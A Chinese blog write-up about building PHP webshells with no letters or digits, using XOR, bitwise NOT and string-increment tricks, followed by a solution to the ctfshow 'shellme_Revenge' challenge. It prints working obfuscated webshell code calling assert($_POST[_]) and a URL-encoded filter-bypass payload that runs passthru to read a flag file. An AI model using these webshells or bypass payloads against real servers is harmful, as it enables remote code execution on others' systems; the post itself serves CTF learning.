前言
这两天比赛的时候,偶然遇到Y4爷
出的一道题,这道题虽然并没有涉及到不包含数字和字母的webshall
,但是却涉及到php
的自增操作,查着查着,就查到了不包含数字和字母的webshall
。此篇文章记录我此次学习的过程。
不包含数字和字母的webshall
在正式的解题之前,我们首先来看看如何构造一个不含数字和字母的webshall
。
方法有三
方法一:
在php中通过两字符串经过异或操作依旧会得到一个字符串,所以就可以想到,将某字母对某字符进行两次异或,我们依旧得到字母本身,但是却可以绕过数字和字母。
在此前先写一个test.php
//test.php
<?php
$shall=$_GET['shall'];
eval($shall);
?>
基于上文思路,就可以很好的了解P神的实例代码了
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
执行结果如下
可能猛地一看,不知道为什么'%01'
和这个符号异或就等于a
呢,因为%01
是a
与此符号异或并且通过url编码得到的,因为a
与此符号异或所得符号为不可打印字符。
所以也不一定就a
非要和这个符号异或,按照要求,a
可以和任何非字母和数字异或,因为两相同的字符异或为0
,任意字符与0
异或均为它本身
可以用a
与>
尝试,结果与我们设想中一样。
方法二:
这次是利用位运算中的"取反"。此法利用UTF-8
编码中的某汉字,并将其某个字符取出,比如'和'{2}
的结果是"\x8c"
,其取反几位字母s
。
但是我在实例中却发现一个问题,它会报错,如下图。
这是因为PHP5
下不能直接使用'和'{2}
,这是PHP7
下的语法。
但是其中却出现了个2
,违背了我们不能使用字母或者数字的要求,所以这里还利用了PHP
弱类型的特性,ture
的值为1
,故ture+ture==2
,所以('>'>'<')+('>'>'<')==2
下面附上P神的代码
<?php
$__=('>'>'<')+('>'>'<'); //$__ =2
$_=$__/$__; //$_=1
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;
$____($_[$__]);
下图为P神的运行结果
我有个疑问,既然'和'{2}
是PHP7
下的语法,那么就是这部分代码需要在PHP7
下运行出来,那P神回显的却是5.6.28
版本的PHP
,我很是疑惑,而且本机并未复现到位。望某位师傅解惑。
方法三:
通过PHP的自增小技巧。
大意就是,'a'++='b','b'++='c'...'A'++='B','B'++='C'...
所以我们只需要拿到一个大写字母,一个小写字母。那么,我们就可以通过自增操作表示出全部的字母。
那么我们如何拿到字母呢?刚好在PHP
中如果强制连接数组和字符串的话,数组将会被强制转换为Array
所以我们就可以得到一个小写的a
和一个大写的A
,再通过自增操作得到所有的字母。
附上P神的shall
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
记得url
编码
post:_=phpinfo()
自此不包含数字和字母的webshall知识已经列举完,这个时候就可以写我遇到的那一道题了。
解析题目
ctfshow 吃瓜杯 shellme_Revenge
首先映入眼帘的是下图
我找一圈没啥思路
倒是在 diaabled_function 中看到过滤了许多函数
过滤了system exec shell_exec
但是passthru
没过滤,也需可以在这里做文章
最后还是在请求头里发现了线索
可以直接传参looklook,随便传
<?php
error_reporting(0);
if ($_GET['looklook']){
highlight_file(__FILE__);
}else{
setcookie("hint", "?looklook", time()+3600);
}
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) || strlen($ctfshow) <= 107) {
if (!preg_match("/[!@#%^&*:'\"|`a-zA-BD-Z~\\\\]|[4-9]/",$ctfshow)){
eval($ctfshow);
}else{
echo("fucccc hacker!!");
}
}
} else {
phpinfo();
}
?>
可以看到,要求的POST
被过滤的只剩0-3
和一个C
了,这里给了一个C
,还有0-3
。可以联想到url编码,而这里利用的正好是包含数字和字母的webshall
的方法三,自增。
<?php
$_=C;
$_++; //D
$C=++$_; //E
$_++; //F
$C_=++$_; //G
$_=(C/C.C){0}; //N
$_++; //O
$_++; //P
$_++; //Q
$_++; //R
$_++; //S
$_=_.$C_.$C.++$_; //_GET
($$_{1})($$_{2}); //($_GET{1})($_GET{2})
其中$_GET{1}
的意思是,调用get
的第一个参数,$_GET{2}
,调用get
的第二个参数。
payload:
GET:
?looklook=1&1=passthru&2=cat /flag.txt
需要将上面的PHP
代码进行url
编码才符合要求
POST:
ctf_show=%24_%3DC%3B%24_%2B%2B%3B%24C%3D%2B%2B%24_%3B%24_%2B%2B%3B%24C_%3D%2B%2B%24_%3B%24_%3D(C%2FC.C)%7B0%7D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24C_.%24C.%2B%2B%24_%3B(%24%24_%7B1%7D)(%24%24_%7B2%7D)%3B%20
总结
看了P神的文章和Y4爷的题,只觉得我欠缺的东西有很多,需要我学习的东西还有许多。继续努力加油!!
参考
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://shimo.im/docs/gwpcxkryVJwyJVHR/read